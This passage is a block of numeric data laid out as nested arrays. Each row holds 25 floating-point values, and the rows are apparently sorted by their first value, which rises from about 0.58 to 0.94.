-0.7792408, 0.3522372, -0.14307314, 0.5075578, -0.583625, -0.1936203, 0.6512716, -0.35799552, -0.9535568, -0.057115832, 0.9389968], [0.5811752, -0.9329672, -0.13802784, -0.8866064, -0.20689432, -0.5993448, -0.59907, 0.27427132, 0.08934128, -0.3801438, 0.09073388, 0.6264768, -0.38717596, 0.18333336, 0.8602408, 0.8181466, -0.7453974, 0.9495638, -0.8358116, -0.5594678, -0.6930612, 0.3860716, 0.58454248, -0.49648272, -0.8428816], [0.58389, -0.40891056, -0.35025104, 0.60956768, 0.33567312, -0.09359672, 0.5143168, 0.584096, -0.5119456, -0.4559576, 0.9341848, 0.15755676, 0.6454348, -0.9314584, 0.4155232, -0.9780918, -0.816601, 0.4329118, 0.2536176, 0.09201942, 0.16756432, -0.010887368, 0.39028616, 0.15002064, -0.69121936], [0.5864948, -0.15804712, -0.51268184, 0.43537056, -0.76814544, 0.6674068, 0.418784, -0.18407296, -0.66448, 0.6598676, -0.25083456, -0.635266, 0.7453468, 0.06710092, 0.30752976, 0.507808, 0.2071762, 0.570305, 0.19987248, -0.5290776, 0.4476376, 0.49586224, -0.24482248, 0.24036216, -0.79470928], [0.5871168, 0.79011856, -0.000566275, 0.17316432, 0.70581272, -0.610964, 0.35173932, -0.8854712, 0.5786348, 0.27556604, -0.9555096, -0.10212012, 0.7298988, 0.22042036, -0.31553548, 0.4390548, -0.06316356, -0.7254304, -0.16800134, 0.432064, 0.36290076, -0.9181216, 0.27016768, -0.57968792, -0.7271056], [0.588362, -0.54843712, -0.79801696, 0.09177488, -0.08714344, 0.8519968, -0.6556736, 0.5947804, -0.14084924, 0.374574, -0.9538368, 0.651262, 0.9292724, -0.70971, -0.4513628, -0.6382754, 0.9952398, 0.4640724, -0.08868116, -0.2181866, -0.4926796, 0.99556, 0.69782752, -0.064302672, -0.3218148], [0.5910848, -0.7169736, 0.48156856, 0.23190512, 0.4447308, -0.38422628, -0.32611108, -0.9837884, -0.9830892, -0.453918, -0.8145576, 0.5406824, 0.81992, -0.33985752, 0.2337502, -0.2914798, 0.619252, 0.919946, -0.948349, -0.5373546, 0.06963156, -0.69386192, 0.8035528, -0.8794152, 0.64522704], [0.600904, -0.47045144, 0.54906144, 0.41710328, 0.6794324, -0.10195196, -0.27601856, 0.4665884, 0.563572, -0.10247984, -0.1607634, -0.4496888, 0.772404, 0.3132482, 0.9765956, -0.3064164, 0.9789168, -0.9130118, -0.6026414, 0.15327374, 0.31205496, -0.060411856, 0.09530128, 0.55800224, -0.018148136], [0.613432, -0.04670276, 0.012221512, -0.44088232, -0.28312216, -0.5520936, -0.7074808, -0.559998, -0.52544, -0.0536128, -0.11770336, -0.1159866, -0.9397204, -0.5520584, -0.4210856, -0.6218544, -0.1295701, 0.0937885, 0.09353982, 0.2299298, 0.2102872, 0.8254728, 0.19111064, 0.7698088, -0.50139088], [0.6176332, 0.8292472, 0.22248648, -0.055295448, 0.5987308, 0.713096, -0.5262736, -0.3467746, 0.9533264, -0.2524642, -0.7345364, -0.4255808, 0.8616372, -0.9447484, -0.8565044, -0.10842354, -0.8036072, 0.7216412, -0.3060028, -0.9737248, -0.0700564, 0.25392936, -0.40498064, -0.026238224, -0.66386944], [0.6176636, 0.817584, -0.52991496, -0.15670408, 0.19028, 0.9298456, -0.8444256, -0.0538334, -0.7924572, -0.3325462, -0.431524, 0.192644, -0.3160498, -0.0785684, 0.8568588, 0.2764406, -0.8246408, -0.8739672, 0.647826, -0.7897138, 0.38878584, -0.5629536, 0.055935528, 0.9773392, -0.9910672], [0.6215692, -0.2179596, 0.32164312, -0.79968296, 0.73938608, 0.33560044, 0.7440044, -0.28376332, 0.4845072, 0.9450208, -0.7488316, -0.5108012, -0.0723, 0.14066476, -0.8527876, -0.3716384, -0.2870316, 0.4869566, 0.9978748, 0.5372754, -0.712934, 0.059253968, -0.12921784, 0.18933312, 0.72385328], [0.6223984, 0.20191744, -0.45489568, -0.47829432, -0.16820568, -0.19369664, -0.651848, -0.31370024, 0.12831856, -0.7476208, -0.1786872, -0.4075584, 0.32131528, -0.7482216, -0.7516964, -0.2491426, -0.7614632, 0.3095324, -0.13595602, 0.1117016, -0.0860604, -0.65352168, 0.64761024, -0.040142888, -0.09554024], [0.6247436, 0.40429, 0.007903626, 0.53440056, 0.7279248, 0.13783576, -0.504536, 0.7666292, 0.431492, -0.16878568, 0.7069112, -0.0691068, -0.08902716, 0.29810276, 0.4732396, 0.3677298, -0.8604076, -0.05965438, 0.3405728, -0.6733838, 0.19022304, 0.8127976, -0.8261544, -0.8079976, -0.15409232], [0.6315148, 0.56911424, 0.9706776, -0.9143808, 0.014188384, -0.6018508, 0.8150656, 0.9577836, 0.7229076, -0.588668, 0.21723588, 0.6582676, 0.6203532, 0.19673684, -0.9114756, -0.12968246, 0.9619522, 0.1628623, -0.9704506, -0.3038584, 0.9552964, 0.57275992, -0.8403504, 0.5979312, 0.49692768], [0.6333156, -0.8478272, 0.58755736, 0.050292016, -0.9305632, 0.29698132, 0.7558032, 0.9655952, -0.23144648, 0.3075982, 0.21226352, -0.11966164, -0.725434, -0.25612128, -0.24759436, -0.8108, 0.21411, -0.4287134, -0.3705848, -0.9171384, -0.14325392, -0.08133528, -0.74156176, -0.57020328, 0.75250936], [0.6353312, -0.19561512, 0.62094888, -0.60492656, 0.034472096, 0.9514936, -0.6636252, 0.20786312, -0.497462, 0.23585556, -0.811226, 0.8295808, -0.17348552, 0.030258028, -0.8525628, 0.08959302, -0.66834, -0.8022698, 0.13927804, -0.1119288, 0.6547236, -0.63356008, -0.1525028, 0.79125728, -0.9146232], [0.6367404, 0.8716264, -0.53096896, 0.017638768, -0.209728, 0.5492236, -0.25274084, -0.8399776, 0.6164948, 0.14100324, 0.423068, 0.06144716, -0.968204, -0.689616, 0.4379388, -0.08879578, 0.7747258, 0.9090528, 0.7386466, -0.5507256, 0.16610708, 0.75444304, 0.09834832, -0.6718644, -0.18671248], [0.6392064, -0.8696888, -0.062070336, 0.59048296, -0.7785556, -0.09248268, 0.5323336, -0.4938044, 0.20363468, 0.9384764, -0.06658488, -0.05470752, 0.5936672, 0.5243584, 0.0425408, 0.5831946, 0.5190386, -0.6139352, 0.6705608, 0.648377, -0.79009, 0.16184088, 0.4662648, -0.5607436, 0.20394144], [0.6487936, -0.064656656, 0.39669224, 0.37293544, 0.0603464, 0.8417536, -0.4247276, 0.18140288, 0.5748872, -0.34995624, 0.9657488, -0.11785332, 0.7131064, -0.4418508, -0.6847936, -0.7774388, 0.569997, 0.5520588, -0.14990052, -0.11064946, 0.039677, 0.7575976, -0.48687704, 0.73797616, -0.6272232], [0.6502364, -0.8185376, 0.44762824, 0.9732768, 0.51899144, 0.6099068, 0.7946936, -0.5836988, 0.15771952, -0.2684228, 0.38104516, -0.9611124, 0.8013568, 0.2123776, 0.27294556, 0.0900319, -0.2596974, -0.3144332, -0.8321712, 0.7057144, 0.5846096, -0.55264392, 0.071824256, 0.21421592, -0.65751664], [0.6510516, -0.31512872, -0.360784, -0.56018688, -0.67619096, 0.7869628, -0.4241916, -0.4015744, 0.330916, 0.33572432, -0.8359128, 0.9795336, 0.16617028, -0.7072956, -0.7391336, 0.9544836, -0.6521356, 0.8975416, -0.04181192, 0.8667538, 0.6536004, 0.9358408, -0.8385824, 0.11491248, -0.14219008], [0.6636996, -0.27069808, -0.3468528, -0.32667832, 0.74336392, 0.6009996, 0.8638736, 0.9386164, -0.27957416, 0.25260336, -0.6362188, 0.435622, -0.9465796, -0.149507, -0.7201604, -0.920305, 0.5938592, -0.6272358, 0.6799332, 0.91392, 0.8797324, -0.11176792, -0.29735248, -0.24290616, -0.9674352], [0.66495, 0.37310432, 0.35419168, 0.34253328, 0.61739104, -0.10554564, -0.24091232, -0.2433784, -0.8356824, 0.546196, -0.5647468, 0.762622, -0.8120292, -0.5255944, -0.7563168, 0.4172688, 0.0631874, -0.7669, 0.7655794, 0.13642942, -0.6726588, 0.75767496, 0.68717352, 0.2044292, 0.33210072], [0.6682976, -0.77740496, 0.8696256, -0.9420552, 0.20861752, -0.9240624, -0.809484, -0.4016336, 0.9193408, -0.038432176, 0.973516, 0.33146352, 0.6516372, 0.1361956, -0.9310124, -0.2451506, -0.03944206, 0.6469246, -0.7402862, -0.04238276, 0.11574136, 0.7535276, -0.047238536, 0.8421008, -0.79748904], [0.6754792, -0.19497696, -0.60081904, -0.76454344, -0.36751744, -0.5163776, 0.09574744, -0.23926888, 0.4843936, -0.35521048, 0.04478648, 0.5812496, 0.38343452, -0.18114964, 0.6225268, -0.6483908, 0.9179334, -0.7319, 0.13775374, -0.004952426, -0.60924, -0.9680872, -0.1389496, 0.13528432, -0.63647256], [0.6800904, 0.60265032, -0.40721992, 0.4674624, -0.34421624, -0.376644, 0.65406, 0.7142624, -0.450002, -0.08281684, -0.8066908, -0.1878128, 0.880996, 0.20815972, 0.6654228, -0.4753138, 0.8992138, -0.2075868, 0.7347964, 0.8975866, 0.414062, -0.766646, 0.9155472, 0.752778, 0.22796064], [0.6927772, 0.2124524, 0.9146312, -0.75129192, 0.8930472, 0.5186108, 0.06175176, -0.34669472, -0.3330126, -0.5975492, 0.9229724, 0.05494784, 0.8324436, 0.786728, -0.07608212, 0.10443876, 0.6000582, 0.785474, -0.04726326, 0.8190338, -0.8193744, 0.930304, 0.10516328, -0.37034264, 0.37115888], [0.698952, 0.8119608, 0.19058592, -0.9118672, 0.60599272, -0.8823448, -0.24977556, -0.5250368, -0.5621276, 0.667278, 0.75363, -0.35848588, 0.7344656, -0.38083128, -0.8370068, -0.9932616, 0.4451716, 0.3675362, 0.4433218, -0.3450514, 0.020238508, -0.5375136, -0.08603792, -0.56148552, 0.63322888], [0.7013044, -0.3011876, -0.9714376, 0.97716, -0.9153216, -0.04716044, -0.5095988, -0.39678476, -0.07062616, -0.16152796, 0.517284, -0.1408128, -0.4902768, 0.1556464, 0.6592728, -0.6295894, 0.9447218, 0.1565703, 0.2287438, 0.3415914, -0.7950008, -0.032202536, -0.9138344, 0.36468408, 0.28931936], [0.7044696, -0.77594336, 0.17776224, -0.0946524, 0.18540856, -0.7081248, -0.24611072, 0.7926736, 0.419906, -0.8152168, 0.4289172, -0.796214, 0.68313, 0.4336352, 0.8588924, 0.8057552, -0.529814, 0.6682254, -0.2522364, -0.4808786, 0.19010504, -0.11732808, -0.9418048, -0.8691232, 0.49514552], [0.7067468, 0.032754088, -0.069092488, 0.52203672, 0.71004688, 0.3339682, 0.7820376, -0.5434228, -0.850202, -0.7222572, 0.9614512, 0.65735, 0.9191432, -0.5495544, 0.6568868, 0.8872716, 0.14502278, -0.3692318, -0.9685034, 0.6911164, 0.7015904, 0.9990096, 0.32551088, -0.2221004, 0.0168718], [0.7076596, 0.17921696, 0.25518808, -0.56080824, 0.54297672, 0.470494, 0.5585784, -0.583794, -0.9789816, -0.5902632, 0.5604868, 0.4812864, -0.6148232, 0.25908692, -0.8331184, -0.328355, 0.744529, -0.782002, 0.956844, 0.2678326, -0.966578, -0.24638616, 0.925144, -0.5179004, -0.67670904], [0.7130752, -0.42359024, 0.58874288, -0.18716624, 0.933404, 0.7835444, 0.02635396, 0.10008288, -0.5534528, -0.06171352, 0.988032, -0.9647768, -0.7498316, -0.8494948, -0.07899196, -0.5735242, 0.9752374, 0.2691052, 0.7855392, 0.418938, -0.4388868, 0.8027056, 0.35310696, -0.5152688, -0.25412432], [0.7139144, 0.62414728, -0.5229156, -0.1571552, -0.006997046, 0.15411584, -0.038425212, -0.7849824, 0.5171896, 0.2863994, 0.7292592, 0.17482924, 0.9020772, -0.24697488, 0.9361128, 0.2053662, 0.5178746, -0.5281236, -0.8205816, 0.6360398, 0.007861112, -0.59574376, 0.77610648, -0.33572648, -0.5060092], [0.7149852, -0.56071872, 0.915672, -0.7555252, 0.75615112, 0.2223492, -0.9929708, 0.8612044, 0.18157632, -0.6305988, -0.7024028, -0.6828532, -0.31507632, 0.21020264, 0.9581376, 0.15738354, -0.4016428, 0.3844374, 0.18801672, -0.6072914, 0.5230404, 0.9106536, -0.16771976, 0.36034072, -0.8620992], [0.7166336, -0.886508, 0.68084088, -0.15712824, -0.9722848, -0.5417968, 0.4030228, -0.35316204, 0.4405984, 0.4543368, 0.24762192, 0.561756, -0.6641348, 0.19071748, 0.29306204, -0.5604892, 0.3875798, -0.10979354, 0.4504946, 0.8977654, 0.036543456, 0.7044504, 0.41819016, 0.22768352, -0.061272056], [0.718408, -0.58548224, 0.13862584, -0.7474428, 0.8894048, -0.0598542, 0.8477392, 0.650824, -0.21280068, 0.13950292, 0.4171804, -0.5967328, -0.026406532, 0.50063, -0.31256048, -0.825381, 0.2459578, 0.7007096, 0.2733084, 0.9813258, 0.16906004, -0.008678976, 0.3864544, -0.7268728, -0.9725296], [0.7218376, -0.5079296, -0.078505536, -0.9206032, 0.04360752, -0.01158148, 0.2875138, 0.014775564, 0.37925972, 0.8217024, 0.8510856, 0.4788172, 0.7254976, -0.9666392, 0.7253368, -0.007343602, -0.014530944, -0.8314296, 0.4265058, 0.5500514, -0.15196632, -0.43257304, 0.1006784, 0.74689896, -0.13114936], [0.7223732, -0.9792152, -0.17472088, 0.34603344, -0.46590464, -0.402044, 0.3379306, -0.5541792, 0.2467446, -0.9762336, -0.7106228, -0.916532, -0.2817968, 0.7503788, 0.2536804, 0.11918148, -0.776309, -0.4460856, -0.110487, -0.8840398, 0.5480008, -0.14402544, 0.5229888, 0.25001528, 0.62383872], [0.7272868, 0.22796768, 0.38180304, -0.38418704, 0.23380552, 0.10912124, -0.4030496, -0.6638596, -0.5276772, 0.7257856, 0.7923148, 0.888214, -0.011923856, -0.3705168, -0.4025824, -0.7226918, -0.9911052, 0.7778968, 0.5150466, -0.9650396, 0.7617392, 0.9355312, 0.31310784, 0.12157256, -0.8996264], [0.7291768, 0.16900144, -0.56621696, 0.1398504, -0.76685416, 0.26642608, 0.688616, -0.13168528, -0.20909004, -0.8757768, -0.1769936, -0.94827, -0.7105776, 0.4358288, 0.88325, -0.1955056, -0.8742392, 0.09311568, -0.9839504, 0.7728594, 0.08507012, 0.859488, -0.55179632, -0.2134728, 0.9786408], [0.737902, 0.34651296, -0.13194056, 0.48334088, 0.36062256, -0.25471364, 0.9752844, 0.04917716, 0.5804272, 0.21919372, -0.036553616, 0.04707436, -0.16223496, 0.764652, -0.14600348, -0.2202444, 0.5031276, -0.03614524, -0.5988048, -0.6514082, 0.11688008, -0.7660476, 0.78653912, 0.638264, -0.45264816], [0.7453368, 0.8452064, -0.8427664, 0.036963344, 0.51194448, 0.37053888, -0.257366, 0.7974776, -0.07946408, 0.9761684, 0.9979472, 0.6027772, 0.6644712, 0.7063424, -0.34581784, 0.19713364, -0.7262172, -0.494112, -0.06492068, 0.901676, -0.8037608, -0.8268792, -0.3888276, -0.22348648, 0.24597384], [0.7596844, 0.9701112, 0.020944616, -0.42031608, 0.33236296, 0.29779224, -0.4817092, -0.31809752, -0.7582208, -0.6462312, -0.6931492, -0.6250344, 0.30644148, -0.991408, 0.0934912, -0.5216176, 0.5286342, -0.19524984, 0.2457012, -0.5861324, 0.4368016, 0.62709648, -0.022918984, 0.2877324, -0.16089704], [0.766956, 0.72108824, -0.5328104, 0.872456, 0.2732748, 0.18023084, -0.295738, -0.16949904, 0.2408966, -0.00675628, -0.4786988, 0.704292, 0.3929834, -0.7065696, -0.06650668, 0.15244958, 0.09761534, -0.922805, -0.7660966, -0.357742, 0.4902316, -0.40472456, 0.5573424, -0.8914128, -0.53132728], [0.7685484, -0.10204632, -0.8545048, -0.1115648, -0.73341976, 0.22206684, -0.28700976, -0.7975892, -0.7091096, 0.7709312, -0.845872, -0.7685916, 0.033051668, -0.6090712, -0.0817024, 0.4110308, 0.515976, 0.562631, 0.19609722, -0.7912214, 0.646728, 0.046001896, 0.58188768, 0.36296344, -0.7339656], [0.7707696, -0.42128104, -0.01383776, 0.8721488, 0.071190856, -0.4863828, 0.5733552, -0.23208528, 0.9460216, 0.4780232, -0.34077692, -0.8644788, 0.27523292, 0.7393204, -0.6960152, 0.07817736, -0.8694536, -0.4180956, 0.7905862, -0.14915888, -0.19848336, -0.9384912, -0.9993168, -0.9636368, 0.16664408], [0.7708088, -0.27537752, -0.3202472, 0.36723432, -0.85984, 0.9795064, 0.9260664, -0.30073748, -0.30862644, -0.439206, 0.34753608, 0.4243684, -0.6336904, -0.9574768, -0.3149854, -0.8029954, 0.905144, 0.7408498, 0.08388224, -0.15804612, -0.9894544, 0.70739584, -0.67963176, -0.857172, 0.22499568], [0.7813272, -0.7817536, -0.9338608, 0.41489784, 0.76433264, -0.6422912, -0.9104096, 0.5979764, -0.8665636, -0.8867024, 0.07342284, 0.6645908, -0.4609448, 0.7014272, 0.568258, 0.4221888, 0.8745028, -0.9528624, 0.3556334, 0.5488082, 0.23905456, 0.36979592, -0.7525452, -0.008328656, -0.8412888], [0.78624, -0.72878024, 0.14593056, -0.53277336, -0.9070592, -0.4784268, -0.6449924, -0.4251504, 0.9949048, -0.4532068, -0.08101304, 0.16248408, 0.5252452, 0.5577468, -0.48115, -0.643469, -0.07354594, -0.9885194, -0.6900706, 0.802287, -0.5576344, -0.26975072, 0.35240176, 0.9908648, -0.004388789], [0.7918956, -0.720682, -0.71497096, 0.9420712, 0.11878424, 0.26630072, -0.9859268, 0.3924824, -0.6550432, -0.37818348, 0.23429992, 0.761666, -0.9592272, -0.023765728, 0.25668516, -0.751369, -0.5596696, 0.2146894, -0.01027967, -0.4039604, 0.7477108, 0.9770728, 0.822804, 0.7222496, -0.2393852], [0.7922, -0.14770416, -0.60058264, -0.451456, -0.8854056, 0.5928964, -0.11434156, 0.35337052, 0.6597264, 0.16617936, -0.37935728, -0.026882584, 0.34373208, -0.32399936, -0.24236316, 0.8411126, 0.6420164, -0.9185004, -0.18837632, -0.704978, 0.7672548, 0.8080896, 0.31510816, -0.43958912, -0.10639168], [0.7939776, -0.43864336, 0.1331756, 0.39860472, 0.952916, -0.8531784, -0.7621736, -0.5924224, -0.7360328, -0.37829064, 0.8456128, 0.9684688, -0.9193868, -0.708236, -0.9002044, -0.2164306, 0.19356698, 0.6297088, -0.9476214, 0.4413812, -0.16696544, -0.37770208, 0.09527888, 0.12965952, 0.11202072], [0.7974784, 0.08567184, 0.9344512, -0.5583244, -0.1684452, -0.6865872, 0.5365516, -0.5482256, 0.5710136, -0.8994336, -0.6625056, 0.8639256, 0.6203452, 0.3017648, 0.6939556, -0.631501, -0.7778788, -0.3110604, 0.05804224, 0.6670342, 0.4797892, -0.8419048, -0.9982792, -0.47459784, 0.8720392], [0.7981404, 0.4949192, -0.9143664, 0.18077584, 0.72518984, 0.9367672, 0.7439372, 0.8357108, -0.22327256, 0.6040328, 0.27550708, -0.9559572, 0.9123092, 0.09049764, -0.8226252, -0.457663, -0.7702748, -0.9978556, 0.584812, 0.973781, -0.038512928, -0.6404508, -0.53055984, -0.4237816, -0.9524696], [0.7981428, 0.16275296, 0.28894288, -0.6247352, 0.57517888, -0.29825116, 0.5361264, 0.7689804, -0.8876024, -0.9681096, 0.6264824, 0.9352388, 0.1381702, -0.9486116, -0.283618, 0.8832048, 0.4575972, 0.18974566, 0.2672832, 0.9268108, 0.05320052, -0.3406236, 0.9283456, 0.04653132, -0.8389104], [0.7987436, -0.59918976, 0.59371512, -0.5207232, 0.42908848, 0.37967972, 0.9204116, 0.585416, -0.9914796, -0.7686548, 0.4685352, 0.730488, -0.36208584, 0.851308, 0.7765708, -0.18939504, -0.701801, 0.3661188, -0.3747242, 0.14299622, -0.642918, 0.61807944, -0.3596912, 0.58339696, 0.79231432], [0.8010296, 0.62674696, -0.21978888, -0.64701304, -0.44327648, -0.15307824, 0.4469952, -0.19424256, 0.908868, 0.5800336, 0.7983016, 0.6163384, 0.3205786, 0.958488, -0.22225228, 0.12346726, -0.4624238, 0.583402, 0.0874694, -0.1299941, -0.11059084, 0.31324864, -0.66290352, -0.35005992, -0.3464532], [0.819158, -0.54168856, -0.11607136, 0.73994072, -0.010964256, 0.6528336, 0.018842276, 0.29249128, 0.2238374, 0.4315892, -0.7851544, -0.2193652, 0.23388828, -0.6257372, 0.0505402, -0.3172644, -0.2504478, 0.4845348, -0.12996934, 0.2248434, -0.9741492, -0.13902696, -0.3465952, -0.69546224, 0.76451312], [0.8220872, -0.57327176, 0.20480728, 0.20724096, -0.22580496, 0.22317072, 0.25596728, 0.115312, 0.5455996, -0.5380996, 0.9253096, -0.6655392, 0.8631032, -0.500746, -0.33723928, 0.7835194, 0.2425744, -0.8265844, -0.7229228, -0.809486, -0.27650248, 0.5143728, 0.6598216, 0.628228, 0.48574744], [0.8244452, 0.24260352, 0.52035224, 0.4194208, -0.51730792, 0.36440812, -0.1548774, -0.4491252, -0.8960652, -0.08190416, 0.732652, -0.4947296, 0.9177908, -0.5716196, -0.31818732, -0.7151244, -0.4717764, -0.5031654, -0.9188122, -0.7491162, 0.8885492, 0.5597244, -0.58569144, 0.49522208, -0.32243608], [0.8265264, 0.54552136, -0.42381216, 0.29364256, -0.44373888, 0.9758084, 0.9370836, 0.8445432, -0.695634, 0.37599152, 0.00974198, -0.9796792, 0.6234536, 0.36069912, -0.5994508, -0.7232094, 0.08759258, 0.14269254, 0.7007738, 0.5545166, -0.2078982, 0.19414248, -0.71666464, -0.13767656, 0.53666504], [0.8314464, 0.20369672, -0.9618432, -0.063135144, -0.79353976, -0.5498532, 0.5508636, 0.5687256, -0.2132106, 0.1980478, 0.32063656, 0.8524332, -0.985716, 0.7177728, -0.32785768, -0.18241334, 0.9355192, -0.05046334, 0.11681334, -0.2074716, -0.6298268, 0.007108382, -0.8915736, 0.5921824, 0.46151368], [0.8318016, 0.77428768, 0.25837176, -0.35243432, 0.43916288, -0.7166756, 0.4282532, 0.5304016, -0.4212784, 0.9798216, -0.037337544, -0.366572, 0.511704, -0.29989812, -0.6687704, -0.4132902, 0.5398654, 0.7092942, -0.799849, 0.6884622, 0.6784948, -0.9972696, -0.16893448, -0.41412816, -0.49759528], [0.8389484, -0.8052176, -0.5226008, -0.26724232, -0.70344336, 0.08685612, 0.9661892, 0.8969616, -0.08908408, 0.22479596, -0.5180756, -0.05020772, 0.4783052, 0.670226, 0.05168592, -0.3147362, -0.8347442, 0.16336756, -0.16549466, -0.582624, 0.676042, -0.42380704, -0.77834928, -0.58035792, 0.9818216], [0.84136, -0.33479832, -0.34072, -0.56891912, 0.668786, 0.7199588, -0.9081432, 0.5561744, -0.468682, -0.7432648, -0.5804292, -0.9705108, 0.37153112, 0.5274984, -0.476728, -0.231109, -0.09566738, 0.9809606, 0.7433148, -0.4833152, 0.592682, -0.8159744, -0.79877936, -0.2351988, -0.1524292], [0.8430608, 0.2828016, 0.10316672, -0.18195184, -0.8045824, -0.4338448, 0.9171432, 0.26931096, -0.10343172, -0.7338036, 0.11143064, 0.020682928, 0.5933312, -0.567396, -0.8446452, -0.4659538, 0.6142838, 0.492818, 0.1001081, 0.6754564, 0.13420912, -0.70099192, -0.6435564, 0.03012736, 0.4028924], [0.8521096, 0.8011952, -0.27364048, -0.31539824, 0.37978384, 0.8616056, 0.07260636, -0.32024648, -0.8388648, -0.4642636, 0.4831608, 0.033286044, 0.5617548, 0.65434, -0.9881912, -0.34352, -0.6027778, 0.72825, 0.5838238, 0.5770308, -0.5250436, 0.26827632, -0.4451268, -0.9978224, -0.71092632], [0.8545608, -0.8363184, -0.5382344, 0.51252296, -0.71550704, -0.7586508, 0.05768036, -0.7370704, -0.1560614, 0.5358876, 0.19288144, 0.4758616, -0.6879924, 0.913234, 0.19522772, 0.07062754, 0.17641774, 0.292251, 0.6863414, -0.7110782, -0.6742776, 0.8940272, 0.74358592, 0.059637272, -0.8438512], [0.85533, -0.7528844, -0.074584464, -0.05744176, 0.9247656, 0.07579016, -0.4805888, -0.2131612, -0.9754804, 0.1101006, 0.24204952, 0.4008008, 0.2094216, -0.24225812, -0.35121968, 0.395442, -0.2704864, -0.6934138, -0.6983684, 0.8697484, -0.602602, -0.68096408, 0.25966528, -0.9707688, 0.33824376], [0.8562244, -0.33829032, -0.026545264, -0.8681008, 0.6135276, -0.424492, -0.17623416, -0.5281516, -0.6630124, -0.7560124, 0.09170856, 0.7720464, -0.7673616, 0.4457204, -0.7439024, 0.14931546, -0.0598528, 0.9473582, -0.4266802, -0.71417, 0.72594, 0.719416, -0.8215312, -0.28513248, -0.011409952], [0.8639316, -0.1607364, 0.47668864, 0.36817856, 0.69284104, -0.8457716, 0.3192418, 0.5279132, 0.26904392, -0.824242, 0.9478968, 0.4938832, -0.7034996, 0.10107072, 0.208367, 0.8935298, -0.4651018, 0.7788432, 0.4889512, 0.833191, 0.065629, 0.73231848, 0.33039024, -0.743054, 0.8994992], [0.8655424, -0.76756072, -0.2671536, -0.37505928, 0.53432096, -0.9546452, -0.401128, -0.9824424, -0.4881128, -0.909046, -0.8736852, -0.8548404, 0.6237684, 0.5574328, 0.7484492, 0.6526396, -0.2079428, 0.02855366, -0.5479398, 0.5372102, -0.31525708, -0.30536632, -0.9280112, -0.52226376, -0.55056264], [0.872988, -0.27873528, -0.45550728, -0.32217528, -0.11915496, 0.33844368, 0.6291952, 0.6647564, 0.7041232, 0.8958952, -0.16415924, -0.660842, 0.013519344, -0.7358808, -0.6250852, -0.2658216, -0.19989262, 0.5536662, 0.4876434, 0.8113016, -0.5145796, 0.45212512, -0.75021144, -0.31911528, -0.08622544], [0.8737216, -0.40926784, 0.043643624, -0.8995224, 0.46484184, 0.001119116, -0.07302128, 0.596628, -0.12876356, 0.05398008, -0.4660196, 0.5672196, 0.5290876, -0.20245912, 0.05929276, 0.9545174, -0.4988342, 0.2406654, 0.8382062, 0.550373, -0.37533244, 0.4204748, -0.45346304, 0.48227576, 0.948632], [0.8760432, -0.014230824, 0.3379568, 0.9303832, -0.063587688, -0.30970968, 0.6840592, 0.5959244, -0.6945936, -0.5706296, 0.2147556, -0.7156676, -0.2313368, 0.08553784, 0.5563684, -0.2006824, 0.04115874, -0.776477, 0.4230004, -0.3678076, -0.20588756, 0.6635628, 0.8153416, 0.11017624, 0.7828164], [0.8787212, -0.71070496, 0.42126736, 0.28277416, -0.73655376, -0.06604212, -0.32718208, 0.7393896, -0.031139232, 0.9871068, -0.4726112, -0.7275956, 0.6487296, -0.6879108, -0.35788368, 0.004855188, -0.6205664, -0.017404258, 0.702603, -0.9649424, 0.7629648, 0.6198556, 0.69435408, -0.13493256, -0.66863896], [0.8900924, -0.09971776, -0.41067496, -0.9528272, -0.64218624, 0.38772616, -0.37238504, 0.3635864, 0.24565832, -0.9298204, -0.439618, 0.4912872, -0.6590156, 0.07425924, -0.07908212, -0.4210356, 0.7263446, 0.5960354, 0.3181838, 0.4830608, -0.8005272, 0.26946512, 0.22809328, 0.21984152, -0.77142984], [0.8949544, -0.77650848, -0.9819408, -0.71332008, 0.8555216, -0.31614072, -0.650446, -0.5054604, 0.19590404, 0.6366996, -0.19455928, -0.980788, -0.04758116, -0.8504884, -0.6637212, -0.651496, -0.8477384, 0.9385022, 0.8302826, -0.8482916, 0.8032156, -0.31761736, -0.55570624, 0.66438408, -0.20781784], [0.8962412, -0.9694728, -0.11270088, 0.60717872, -0.76414384, 0.9447308, 0.9772196, 0.8503392, 0.581864, 0.3435846, -0.025900008, 0.38944492, 0.08889804, 0.9576848, -0.07084664, 0.7564128, 0.8846554, -0.4886264, 0.9914352, -0.71129, 0.961404, 0.21387744, 0.38634576, -0.28644176, 0.8560416], [0.9035876, 0.32429024, -0.4148604, -0.9038296, 0.61435952, -0.20027268, -0.937456, -0.3526238, 0.756116, 0.8852528, -0.37101292, 0.587504, 0.986388, 0.22156836, 0.27771112, -0.7671728, 0.4903, -0.9345394, 0.568908, 0.8693238, -0.17675616, 0.9869272, 0.07869736, 0.29232456, 0.11522784], [0.909006, -0.1809284, 0.53187096, 0.9370528, 0.19429976, 0.0725774, 0.7580152, -0.8738796, 0.17438796, -0.6325948, 0.006480768, 0.8770224, -0.18217352, -0.9303184, -0.33009328, 0.3870458, 0.5975392, 0.378511, 0.692817, 0.5803656, 0.6094008, -0.7048584, -0.51896064, 0.58893416, 0.09741328], [0.9276336, 0.52771392, 0.08332408, 0.59000552, -0.028067736, 0.277782, 0.901066, -0.7226576, 0.8067352, 0.22152728, 0.09979024, -0.7787184, 0.11036632, 0.6425864, 0.9131248, 0.8544574, 0.870127, -0.4806152, -0.11366888, 0.8279452, -0.4417288, -0.270864, -0.62578248, 0.40738264, -0.804288], [0.9283364, 0.63509344, -0.9994784, -0.8921904, -0.93974, -0.4166432, 0.6663872, -0.9506372, -0.931036, -0.4756692, -0.9420076, 0.6217076, -0.35917856, 0.13622656, -0.1969196, -0.06725554, -0.8167874, -0.018628658, 0.3340894, 0.10889452, 0.21256328, 0.7189008, -0.39027592, -0.34969664, -0.11943848], [0.9358884, -0.75747288, 0.31313624, 0.61965872, 0.16719248, 0.6649756, 0.32683612, -0.8079556, -0.37063196, -0.537904, 0.985868, -0.23911796, 0.8442736, 0.19748696, 0.8315952, 0.15073204, -0.716318, 0.8078952, -0.04984084, -0.8233712, -0.7209824, -0.77598576, 0.58330072, -0.62115672, 0.23848016], [0.9412868, 0.12569264, -0.56710944, 0.8217816, 0.063221152, -0.015080652, 0.471948, 0.33715424, -0.9765068, -0.38429124, -0.025100052, 0.9242908, -0.4904464, 0.2871824, -0.7237052, 0.4512134, -0.8846884, 0.8968882, -0.9542942, -0.2641778, -0.3139046, 0.910244, 0.9341408, -0.045969776, -0.904592], [0.9414736, 0.9336016, -0.27324912, 0.03518712, 0.53310976, 0.8478332, -0.856446, -0.695134, 0.39190896, 0.6496276, 0.33718548, -0.99696, 0.39408388, 0.7899044, -0.06733164, -0.561838, -0.9100532, 